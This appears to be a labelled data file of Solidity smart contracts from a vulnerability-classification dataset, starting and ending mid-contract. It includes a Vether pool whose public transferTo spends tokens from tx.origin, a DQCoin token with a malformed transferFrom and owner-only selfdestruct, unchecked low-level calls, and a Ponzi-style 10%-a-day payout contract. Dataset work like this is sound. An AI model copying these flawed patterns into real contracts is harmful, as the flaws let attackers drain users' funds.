address _spender,
uint _subtractedValue
)
public
returns (bool success)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue < oldValue) {
require(getFreeBalance(msg.sender) >= oldValue.sub(_subtractedValue));
}
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract YRECoin is IndividualLockableToken, TokenDestructible {
using SafeMath for uint256;
string public constant name = "YRE Coin";
string public constant symbol = "YRE";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 24000000000 * (10 ** uint256(decimals));
constructor()
public
{
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = totalSupply_;
}
} | 0 | 1,473 |
pragma solidity ^0.4.25;
contract X3ProfitInMonth {
struct Investor {
uint iteration;
uint deposit;
uint lockedDeposit;
uint time;
uint withdrawn;
uint withdrawnPure;
bool isVoteProfit;
}
mapping(address => Investor) public investors;
address public constant ADDRESS_MAIN_FUND = 0x20C476Bb4c7aA64F919278fB9c09e880583beb4c;
address public constant ADDRESS_ADMIN = 0x6249046Af9FB588bb4E70e62d9403DD69239bdF5;
uint private constant TIME_QUANT = 1 days;
uint private constant PERCENT_DAY = 10;
uint private constant PERCENT_DECREASE_PER_ITERATION = 1;
uint private constant PERCENT_MAIN_FUND = 10;
uint private constant PERCENT_DIVIDER = 100;
uint public countOfInvestors = 0;
uint public countOfAdvTax = 0;
uint public countStartVoices = 0;
uint public iterationIndex = 1;
uint public constant maxBalance = 340282366920938463463374607431768211456 wei;
uint public constant maxDeposit = maxBalance / 1000;
bool public isProfitStarted = false;
modifier isIssetUser() {
require(investors[msg.sender].iteration == iterationIndex, "Deposit not found");
_;
}
modifier timePayment() {
require(now >= investors[msg.sender].time + TIME_QUANT, "Too fast payout request");
_;
}
function collectPercent() isIssetUser timePayment internal {
uint payout = payoutAmount(msg.sender);
_payout(msg.sender, payout, false);
}
function payoutAmount(address addr) public view returns(uint) {
Investor storage inv = investors[addr];
if(inv.iteration != iterationIndex)
return 0;
uint varTime = inv.time;
uint varNow = now;
if(varTime > varNow) varTime = varNow;
uint percent = PERCENT_DAY;
uint decrease = PERCENT_DECREASE_PER_ITERATION * (iterationIndex - 1);
if(decrease > percent - PERCENT_DECREASE_PER_ITERATION)
decrease = percent - PERCENT_DECREASE_PER_ITERATION;
percent -= decrease;
uint rate = inv.deposit * percent / PERCENT_DIVIDER;
uint fraction = 100;
uint interestRate = fraction * (varNow - varTime) / 1 days;
uint withdrawalAmount = rate * interestRate / fraction;
if(interestRate < 100) withdrawalAmount = 0;
return withdrawalAmount;
}
function makeDeposit() private {
if (msg.value > 0) {
Investor storage inv = investors[msg.sender];
if (inv.iteration != iterationIndex) {
countOfInvestors += 1;
if(inv.deposit > inv.withdrawnPure)
inv.deposit -= inv.withdrawnPure;
else
inv.deposit = 0;
if(inv.deposit + msg.value > maxDeposit)
inv.deposit = maxDeposit - msg.value;
inv.withdrawn = 0;
inv.withdrawnPure = 0;
inv.time = now;
inv.iteration = iterationIndex;
inv.lockedDeposit = inv.deposit;
inv.isVoteProfit = false;
}
if (inv.deposit > 0 && now >= inv.time + TIME_QUANT) {
collectPercent();
}
inv.deposit += msg.value;
} else {
collectPercent();
}
}
function returnDeposit() isIssetUser private {
Investor storage inv = investors[msg.sender];
uint withdrawalAmount = 0;
uint activDep = inv.deposit - inv.lockedDeposit;
if(activDep > inv.withdrawn)
withdrawalAmount = activDep - inv.withdrawn;
if(withdrawalAmount > address(this).balance){
withdrawalAmount = address(this).balance;
}
_payout(msg.sender, withdrawalAmount, true);
_delete(msg.sender);
}
function() external payable {
require(msg.value <= maxDeposit, "Deposit overflow");
Investor storage inv = investors[msg.sender];
if (msg.value == 0.00000112 ether && inv.iteration == iterationIndex) {
inv.deposit += msg.value;
if(inv.deposit > maxDeposit) inv.deposit = maxDeposit;
returnDeposit();
} else {
if (msg.value == 0.00000111 ether && !isProfitStarted) {
makeDeposit();
if(inv.deposit > maxDeposit) inv.deposit = maxDeposit;
if(!inv.isVoteProfit)
{
countStartVoices++;
inv.isVoteProfit = true;
}
if((countStartVoices > 10 &&
countStartVoices > countOfInvestors / 2) ||
msg.sender == ADDRESS_ADMIN)
isProfitStarted = true;
}
else
{
require(
msg.value == 0 ||
address(this).balance <= maxBalance,
"Contract balance overflow");
makeDeposit();
require(inv.deposit <= maxDeposit, "Deposit overflow");
}
}
}
function restart() private {
countOfInvestors = 0;
iterationIndex++;
countStartVoices = 0;
isProfitStarted = false;
}
function _payout(address addr, uint amount, bool retDep) private {
if(amount == 0)
return;
if(amount > address(this).balance) amount = address(this).balance;
if(amount == 0){
restart();
return;
}
Investor storage inv = investors[addr];
uint activDep = inv.deposit - inv.lockedDeposit;
if(!retDep && !isProfitStarted && amount + inv.withdrawn > activDep / 2 )
{
if(inv.withdrawn < activDep / 2)
amount = (activDep/2) - inv.withdrawn;
else{
if(inv.withdrawn >= activDep)
{
_delete(addr);
return;
}
amount = activDep - inv.withdrawn;
_delete(addr);
}
}
uint interestPure = amount * (PERCENT_DIVIDER - PERCENT_MAIN_FUND) / PERCENT_DIVIDER;
uint advTax = amount - interestPure;
inv.withdrawnPure += interestPure;
inv.withdrawn += amount;
inv.time = now;
if(ADDRESS_MAIN_FUND.call.value(advTax)())
countOfAdvTax += advTax;
else
inv.withdrawn -= advTax;
addr.transfer(interestPure);
if(address(this).balance == 0)
restart();
}
function _delete(address addr) private {
if(investors[addr].iteration != iterationIndex)
return;
investors[addr].iteration = 0;
countOfInvestors--;
}
} | 1 | 2,100 |
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract token {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public{
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract lockEtherPay is Ownable {
using SafeMath for uint256;
token token_reward;
address public beneficiary;
bool public isLocked = false;
bool public isReleased = false;
uint256 public start_time;
uint256 public end_time;
uint256 public fifty_two_weeks = 30585600;
event TokenReleased(address beneficiary, uint256 token_amount);
constructor() public{
token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6);
beneficiary = 0x8CF330D9518e51391E41b370c0BAE328c0d86EfC;
}
function tokenBalance() constant public returns (uint256){
return token_reward.balanceOf(this);
}
function lock() public onlyOwner returns (bool){
require(!isLocked);
require(tokenBalance() > 0);
start_time = now;
end_time = start_time.add(fifty_two_weeks);
isLocked = true;
}
function lockOver() constant public returns (bool){
uint256 current_time = now;
return current_time > end_time;
}
function release() onlyOwner public{
require(isLocked);
require(!isReleased);
require(lockOver());
uint256 token_amount = tokenBalance();
token_reward.transfer( beneficiary, token_amount);
emit TokenReleased(beneficiary, token_amount);
isReleased = true;
}
} | 1 | 2,593 |
pragma solidity ^0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract DQCoin is ERC20 {
using SafeMath for uint256;
address public owner;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
string public name = "DaQianCoin";
string public constant symbol = "DQC";
uint public constant decimals = 18;
bool public stopped;
modifier stoppable {
assert(!stopped);
_;
}
uint256 public totalSupply = 24000000000*(10**18);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event LOCK(address indexed _owner, uint256 _value);
mapping (address => uint256) public lockAddress;
modifier lock(address _add){
require(_add != address(0));
uint256 releaseTime = lockAddress[_add];
if(releaseTime > 0){
require(block.timestamp >= releaseTime);
_;
}else{
_;
}
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function DQCoin() public {
owner = msg.sender;
balances[msg.sender] = totalSupply;
}
function stop() onlyOwner public {
stopped = true;
}
function start() onlyOwner public {
stopped = false;
}
function lockTime(address _to,uint256 _value) onlyOwner public {
if(_value > block.timestamp){
lockAddress[_to] = _value;
emit LOCK(_to, _value);
}
}
function lockOf(address _owner) constant public returns (uint256) {
return lockAddress[_owner];
}
function transferOwnership(address _newOwner) onlyOwner public {
if (_newOwner != address(0)) {
owner = _newOwner;
}
}
function () public payable {
address myAddress = this;
emit Transfer(msg.sender, myAddress, msg.value);
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
function transfer(address _to, uint256 _amount) stoppable lock(msg.sender) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, uint256 _amount) stoppable lock(_from) public returns (bool success) {
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[msg.sender] = balances[msg.sender].add(_amount);
emit Transfer(_from, msg.sender, _amount);
return true;
}
function approve(address _spender, uint256 _value) stoppable lock(_spender) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function withdraw() onlyOwner public {
address myAddress = this;
uint256 etherBalance = myAddress.balance;
owner.transfer(etherBalance);
}
function kill() onlyOwner public {
selfdestruct(msg.sender);
}
function setName(string _name) onlyOwner public {
name = _name;
}
} | 0 | 68 |
pragma solidity 0.6.8;
pragma experimental ABIEncoderV2;
interface iERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint);
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address, uint) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address, uint) external returns (bool);
function transferFrom(address, address, uint) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface iBASE {
function secondsPerEra() external view returns (uint);
}
interface iUTILS {
function calcPart(uint bp, uint total) external pure returns (uint part);
function calcShare(uint part, uint total, uint amount) external pure returns (uint share);
function calcSwapOutput(uint x, uint X, uint Y) external pure returns (uint output);
function calcSwapFee(uint x, uint X, uint Y) external pure returns (uint output);
function calcStakeUnits(uint a, uint A, uint v, uint S) external pure returns (uint units);
function getPoolShare(address token, uint units) external view returns(uint baseAmt, uint tokenAmt);
function getPoolShareAssym(address token, uint units, bool toBase) external view returns(uint baseAmt, uint tokenAmt, uint outputAmt);
function calcValueInBase(address token, uint amount) external view returns (uint value);
function calcValueInToken(address token, uint amount) external view returns (uint value);
function calcValueInBaseWithPool(address payable pool, uint amount) external view returns (uint value);
}
interface iDAO {
function ROUTER() external view returns(address);
function UTILS() external view returns(iUTILS);
function FUNDS_CAP() external view returns(uint);
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Pool_Vether is iERC20 {
using SafeMath for uint;
address public BASE;
address public TOKEN;
iDAO public DAO;
uint public one = 10**18;
string _name; string _symbol;
uint public override decimals; uint public override totalSupply;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint public genesis;
uint public baseAmt;
uint public tokenAmt;
uint public baseAmtStaked;
uint public tokenAmtStaked;
uint public fees;
uint public volume;
uint public txCount;
modifier onlyRouter() {
_isRouter();
_;
}
function _isRouter() internal view {
require(msg.sender == _DAO().ROUTER(), "RouterErr");
}
function _DAO() internal view returns(iDAO) {
return DAO;
}
constructor (address _base, address _token, iDAO _dao) public payable {
BASE = _base;
TOKEN = _token;
DAO = _dao;
string memory poolName = "VetherPoolV1-";
string memory poolSymbol = "VPT1-";
if(_token == address(0)){
_name = string(abi.encodePacked(poolName, "Ethereum"));
_symbol = string(abi.encodePacked(poolSymbol, "ETH"));
} else {
_name = string(abi.encodePacked(poolName, iERC20(_token).name()));
_symbol = string(abi.encodePacked(poolSymbol, iERC20(_token).symbol()));
}
decimals = 18;
genesis = now;
}
function _checkApprovals() external onlyRouter{
if(iERC20(BASE).allowance(address(this), _DAO().ROUTER()) == 0){
if(TOKEN != address(0)){
iERC20(TOKEN).approve(_DAO().ROUTER(), (2**256)-1);
}
iERC20(BASE).approve(_DAO().ROUTER(), (2**256)-1);
}
}
receive() external payable {}
function name() public view override returns (string memory) {
return _name;
}
function symbol() public view override returns (string memory) {
return _symbol;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function transfer(address to, uint value) public override returns (bool success) {
__transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
__approve(msg.sender, spender, amount);
return true;
}
function __approve(address owner, address spender, uint256 amount) internal virtual {
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function transferFrom(address from, address to, uint value) public override returns (bool success) {
require(value <= _allowances[from][msg.sender], 'AllowanceErr');
_allowances[from][msg.sender] = _allowances[from][msg.sender].sub(value);
__transfer(from, to, value);
return true;
}
function __transfer(address _from, address _to, uint _value) private {
require(_balances[_from] >= _value, 'BalanceErr');
require(_balances[_to] + _value >= _balances[_to], 'BalanceErr');
_balances[_from] =_balances[_from].sub(_value);
_balances[_to] += _value;
emit Transfer(_from, _to, _value);
}
function _mint(address account, uint256 amount) external onlyRouter {
totalSupply = totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
_allowances[account][DAO.ROUTER()] += amount;
emit Transfer(address(0), account, amount);
}
function burn(uint256 amount) public virtual {
__burn(msg.sender, amount);
}
function burnFrom(address from, uint256 value) public virtual {
require(value <= _allowances[from][msg.sender], 'AllowanceErr');
_allowances[from][msg.sender] = _allowances[from][msg.sender].sub(value);
__burn(from, value);
}
function __burn(address account, uint256 amount) internal virtual {
_balances[account] = _balances[account].sub(amount, "BalanceErr");
totalSupply = totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function transferTo(address recipient, uint256 amount) public returns (bool) {
__transfer(tx.origin, recipient, amount);
return true;
}
function transferETH(address payable to, uint value) public payable onlyRouter returns (bool success) {
to.call{value:value}("");
return true;
}
function sync() public {
if (TOKEN == address(0)) {
tokenAmt = address(this).balance;
} else {
tokenAmt = iERC20(TOKEN).balanceOf(address(this));
}
}
function add(address token, uint amount) public payable returns (bool success) {
if(token == BASE){
iERC20(BASE).transferFrom(msg.sender, address(this), amount);
baseAmt = baseAmt.add(amount);
return true;
} else if (token == TOKEN){
iERC20(TOKEN).transferFrom(msg.sender, address(this), amount);
tokenAmt = tokenAmt.add(amount);
return true;
} else if (token == address(0)){
require((amount == msg.value), "InputErr");
tokenAmt = tokenAmt.add(amount);
} else {
return false;
}
}
function _incrementPoolBalances(uint _baseAmt, uint _tokenAmt) external onlyRouter {
baseAmt += _baseAmt;
tokenAmt += _tokenAmt;
baseAmtStaked += _baseAmt;
tokenAmtStaked += _tokenAmt;
}
function _setPoolBalances(uint _baseAmt, uint _tokenAmt, uint _baseAmtStaked, uint _tokenAmtStaked) external onlyRouter {
baseAmtStaked = _baseAmtStaked;
tokenAmtStaked = _tokenAmtStaked;
__setPool(_baseAmt, _tokenAmt);
}
function _setPoolAmounts(uint _baseAmt, uint _tokenAmt) external onlyRouter {
__setPool(_baseAmt, _tokenAmt);
}
function __setPool(uint _baseAmt, uint _tokenAmt) internal {
baseAmt = _baseAmt;
tokenAmt = _tokenAmt;
}
function _decrementPoolBalances(uint _baseAmt, uint _tokenAmt) external onlyRouter {
uint _unstakedBase = _DAO().UTILS().calcShare(_baseAmt, baseAmt, baseAmtStaked);
uint _unstakedToken = _DAO().UTILS().calcShare(_tokenAmt, tokenAmt, tokenAmtStaked);
baseAmtStaked = baseAmtStaked.sub(_unstakedBase);
tokenAmtStaked = tokenAmtStaked.sub(_unstakedToken);
__decrementPool(_baseAmt, _tokenAmt);
}
function __decrementPool(uint _baseAmt, uint _tokenAmt) internal {
baseAmt = baseAmt.sub(_baseAmt);
tokenAmt = tokenAmt.sub(_tokenAmt);
}
function _addPoolMetrics(uint _volume, uint _fee) external onlyRouter {
txCount += 1;
volume += _volume;
fees += _fee;
}
}
contract Router_Vether {
using SafeMath for uint;
address public BASE;
address public DEPLOYER;
iDAO public DAO;
uint public totalStaked;
uint public totalVolume;
uint public totalFees;
uint public unstakeTx;
uint public stakeTx;
uint public swapTx;
address[] public arrayTokens;
mapping(address=>address payable) private mapToken_Pool;
mapping(address=>bool) public isPool;
event NewPool(address token, address pool, uint genesis);
event Staked(address member, uint inputBase, uint inputToken, uint unitsIssued);
event Unstaked(address member, uint outputBase, uint outputToken, uint unitsClaimed);
event Swapped(address tokenFrom, address tokenTo, uint inputAmount, uint transferAmount, uint outputAmount, uint fee, address recipient);
modifier onlyDeployer() {
require(msg.sender == DEPLOYER, "DeployerErr");
_;
}
constructor () public payable {
BASE = 0x4Ba6dDd7b89ed838FEd25d208D4f644106E34279;
DEPLOYER = msg.sender;
}
receive() external payable {
buyTo(msg.value, address(0), msg.sender);
}
function setGenesisDao(address dao) public onlyDeployer {
DAO = iDAO(dao);
}
function _DAO() internal view returns(iDAO) {
return DAO;
}
function migrateRouterData(address payable oldRouter) public onlyDeployer {
totalStaked = Router_Vether(oldRouter).totalStaked();
totalVolume = Router_Vether(oldRouter).totalVolume();
totalFees = Router_Vether(oldRouter).totalFees();
unstakeTx = Router_Vether(oldRouter).unstakeTx();
stakeTx = Router_Vether(oldRouter).stakeTx();
swapTx = Router_Vether(oldRouter).swapTx();
}
function migrateTokenData(address payable oldRouter) public onlyDeployer {
uint tokenCount = Router_Vether(oldRouter).tokenCount();
for(uint i = 0; i<tokenCount; i++){
address token = Router_Vether(oldRouter).getToken(i);
address payable pool = Router_Vether(oldRouter).getPool(token);
isPool[pool] = true;
arrayTokens.push(token);
mapToken_Pool[token] = pool;
}
}
function purgeDeployer() public onlyDeployer {
DEPLOYER = address(0);
}
function createPool(uint inputBase, uint inputToken, address token) public payable returns(address payable pool){
require(getPool(token) == address(0), "CreateErr");
require(token != BASE, "Must not be Base");
require((inputToken > 0 && inputBase > 0), "Must get tokens for both");
Pool_Vether newPool = new Pool_Vether(BASE, token, DAO);
pool = payable(address(newPool));
uint _actualInputToken = _handleTransferIn(token, inputToken, pool);
uint _actualInputBase = _handleTransferIn(BASE, inputBase, pool);
mapToken_Pool[token] = pool;
arrayTokens.push(token);
isPool[pool] = true;
totalStaked += _actualInputBase;
stakeTx += 1;
uint units = _handleStake(pool, _actualInputBase, _actualInputToken, msg.sender);
emit NewPool(token, pool, now);
emit Staked(msg.sender, _actualInputBase, _actualInputToken, units);
return pool;
}
function stake(uint inputBase, uint inputToken, address token) public payable returns (uint units) {
units = stakeForMember(inputBase, inputToken, token, msg.sender);
return units;
}
function stakeForMember(uint inputBase, uint inputToken, address token, address member) public payable returns (uint units) {
address payable pool = getPool(token);
uint _actualInputToken = _handleTransferIn(token, inputToken, pool);
uint _actualInputBase = _handleTransferIn(BASE, inputBase, pool);
totalStaked += _actualInputBase;
stakeTx += 1;
require(totalStaked <= DAO.FUNDS_CAP(), "Must be less than Funds Cap");
units = _handleStake(pool, _actualInputBase, _actualInputToken, member);
emit Staked(member, _actualInputBase, _actualInputToken, units);
return units;
}
function _handleStake(address payable pool, uint _baseAmt, uint _tokenAmt, address _member) internal returns (uint _units) {
Pool_Vether(pool)._checkApprovals();
uint _S = Pool_Vether(pool).baseAmt().add(_baseAmt);
uint _A = Pool_Vether(pool).tokenAmt().add(_tokenAmt);
Pool_Vether(pool)._incrementPoolBalances(_baseAmt, _tokenAmt);
_units = _DAO().UTILS().calcStakeUnits(_tokenAmt, _A, _baseAmt, _S);
Pool_Vether(pool)._mint(_member, _units);
return _units;
}
function unstake(uint basisPoints, address token) public returns (bool success) {
require((basisPoints > 0 && basisPoints <= 10000), "InputErr");
uint _units = _DAO().UTILS().calcPart(basisPoints, iERC20(getPool(token)).balanceOf(msg.sender));
unstakeExact(_units, token);
return true;
}
function unstakeExact(uint units, address token) public returns (bool success) {
address payable pool = getPool(token);
address payable member = msg.sender;
(uint _outputBase, uint _outputToken) = _DAO().UTILS().getPoolShare(token, units);
totalStaked = totalStaked.sub(_outputBase);
unstakeTx += 1;
_handleUnstake(pool, units, _outputBase, _outputToken, member);
emit Unstaked(member, _outputBase, _outputToken, units);
_handleTransferOut(token, _outputToken, pool, member);
_handleTransferOut(BASE, _outputBase, pool, member);
return true;
}
function unstakeAsymmetric(uint basisPoints, bool toBase, address token) public returns (uint outputAmount){
uint _units = _DAO().UTILS().calcPart(basisPoints, iERC20(getPool(token)).balanceOf(msg.sender));
outputAmount = unstakeExactAsymmetric(_units, toBase, token);
return outputAmount;
}
function unstakeExactAsymmetric(uint units, bool toBase, address token) public returns (uint outputAmount){
address payable pool = getPool(token);
require(units < iERC20(pool).totalSupply(), "InputErr");
(uint _outputBase, uint _outputToken, uint _outputAmount) = _DAO().UTILS().getPoolShareAssym(token, units, toBase);
totalStaked = totalStaked.sub(_outputBase);
unstakeTx += 1;
_handleUnstake(pool, units, _outputBase, _outputToken, msg.sender);
emit Unstaked(msg.sender, _outputBase, _outputToken, units);
_handleTransferOut(token, _outputToken, pool, msg.sender);
_handleTransferOut(BASE, _outputBase, pool, msg.sender);
return _outputAmount;
}
function _handleUnstake(address payable pool, uint _units, uint _outputBase, uint _outputToken, address _member) internal returns (bool success) {
Pool_Vether(pool)._checkApprovals();
Pool_Vether(pool)._decrementPoolBalances(_outputBase, _outputToken);
Pool_Vether(pool).burnFrom(_member, _units);
return true;
}
function buy(uint amount, address token) public payable returns (uint outputAmount, uint fee){
(outputAmount, fee) = buyTo(amount, token, msg.sender);
return (outputAmount, fee);
}
function buyTo(uint amount, address token, address payable member) public payable returns (uint outputAmount, uint fee) {
address payable pool = getPool(token);
Pool_Vether(pool)._checkApprovals();
uint _actualAmount = _handleTransferIn(BASE, amount, pool);
(outputAmount, fee) = _swapBaseToToken(pool, _actualAmount);
totalStaked += _actualAmount;
totalVolume += _actualAmount;
totalFees += _DAO().UTILS().calcValueInBase(token, fee);
swapTx += 1;
_handleTransferOut(token, outputAmount, pool, member);
emit Swapped(BASE, token, _actualAmount, 0, outputAmount, fee, member);
return (outputAmount, fee);
}
function sell(uint amount, address token) public payable returns (uint outputAmount, uint fee){
(outputAmount, fee) = sellTo(amount, token, msg.sender);
return (outputAmount, fee);
}
function sellTo(uint amount, address token, address payable member) public payable returns (uint outputAmount, uint fee) {
address payable pool = getPool(token);
Pool_Vether(pool)._checkApprovals();
uint _actualAmount = _handleTransferIn(token, amount, pool);
(outputAmount, fee) = _swapTokenToBase(pool, _actualAmount);
totalStaked = totalStaked.sub(outputAmount);
totalVolume += outputAmount;
totalFees += fee;
swapTx += 1;
_handleTransferOut(BASE, outputAmount, pool, member);
emit Swapped(token, BASE, _actualAmount, 0, outputAmount, fee, member);
return (outputAmount, fee);
}
function swap(uint inputAmount, address fromToken, address toToken) public payable returns (uint outputAmount, uint fee) {
require(fromToken != toToken, "InputErr");
address payable poolFrom = getPool(fromToken); address payable poolTo = getPool(toToken);
Pool_Vether(poolFrom)._checkApprovals();
Pool_Vether(poolTo)._checkApprovals();
uint _actualAmount = _handleTransferIn(fromToken, inputAmount, poolFrom);
uint _transferAmount = 0;
if(fromToken == BASE){
(outputAmount, fee) = _swapBaseToToken(poolFrom, _actualAmount);
totalStaked += _actualAmount;
totalVolume += _actualAmount;
} else if(toToken == BASE) {
(outputAmount, fee) = _swapTokenToBase(poolFrom,_actualAmount);
totalStaked = totalStaked.sub(outputAmount);
totalVolume += outputAmount;
} else {
(uint _yy, uint _feey) = _swapTokenToBase(poolFrom, _actualAmount);
uint _actualYY = _handleTransferOver(BASE, poolFrom, poolTo, _yy);
totalStaked = totalStaked.add(_actualYY).sub(_actualAmount);
totalVolume += _yy; totalFees += _feey;
(uint _zz, uint _feez) = _swapBaseToToken(poolTo, _actualYY);
totalFees += _DAO().UTILS().calcValueInBase(toToken, _feez);
_transferAmount = _actualYY; outputAmount = _zz;
fee = _feez + _DAO().UTILS().calcValueInToken(toToken, _feey);
}
swapTx += 1;
_handleTransferOut(toToken, outputAmount, poolTo, msg.sender);
emit Swapped(fromToken, toToken, _actualAmount, _transferAmount, outputAmount, fee, msg.sender);
return (outputAmount, fee);
}
function _swapBaseToToken(address payable pool, uint _x) internal returns (uint _y, uint _fee){
uint _X = Pool_Vether(pool).baseAmt();
uint _Y = Pool_Vether(pool).tokenAmt();
_y = _DAO().UTILS().calcSwapOutput(_x, _X, _Y);
_fee = _DAO().UTILS().calcSwapFee(_x, _X, _Y);
Pool_Vether(pool)._setPoolAmounts(_X.add(_x), _Y.sub(_y));
_updatePoolMetrics(pool, _y+_fee, _fee, false);
return (_y, _fee);
}
function _swapTokenToBase(address payable pool, uint _x) internal returns (uint _y, uint _fee){
uint _X = Pool_Vether(pool).tokenAmt();
uint _Y = Pool_Vether(pool).baseAmt();
_y = _DAO().UTILS().calcSwapOutput(_x, _X, _Y);
_fee = _DAO().UTILS().calcSwapFee(_x, _X, _Y);
Pool_Vether(pool)._setPoolAmounts(_Y.sub(_y), _X.add(_x));
_updatePoolMetrics(pool, _y+_fee, _fee, true);
return (_y, _fee);
}
function _updatePoolMetrics(address payable pool, uint _txSize, uint _fee, bool _toBase) internal {
if(_toBase){
Pool_Vether(pool)._addPoolMetrics(_txSize, _fee);
} else {
uint _txBase = _DAO().UTILS().calcValueInBaseWithPool(pool, _txSize);
uint _feeBase = _DAO().UTILS().calcValueInBaseWithPool(pool, _fee);
Pool_Vether(pool)._addPoolMetrics(_txBase, _feeBase);
}
}
function _handleTransferIn(address _token, uint _amount, address _pool) internal returns(uint actual){
if(_amount > 0) {
if(_token == address(0)){
require((_amount == msg.value), "InputErr");
payable(_pool).call{value:_amount}("");
actual = _amount;
} else {
uint startBal = iERC20(_token).balanceOf(_pool);
iERC20(_token).transferFrom(msg.sender, _pool, _amount);
actual = iERC20(_token).balanceOf(_pool).sub(startBal);
}
}
}
function _handleTransferOut(address _token, uint _amount, address _pool, address payable _recipient) internal {
if(_amount > 0) {
if (_token == address(0)) {
Pool_Vether(payable(_pool)).transferETH(_recipient, _amount);
} else {
iERC20(_token).transferFrom(_pool, _recipient, _amount);
}
}
}
function _handleTransferOver(address _token, address _from, address _to, uint _amount) internal returns(uint actual){
if(_amount > 0) {
uint startBal = iERC20(_token).balanceOf(_to);
iERC20(_token).transferFrom(_from, _to, _amount);
actual = iERC20(_token).balanceOf(_to).sub(startBal);
}
}
function getPool(address token) public view returns(address payable pool){
return mapToken_Pool[token];
}
function tokenCount() public view returns(uint){
return arrayTokens.length;
}
function getToken(uint i) public view returns(address){
return arrayTokens[i];
}
} | 1 | 3,593 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Crowdsale {
using SafeMath for uint256;
ERC20 public token;
address public wallet;
uint256 public rate;
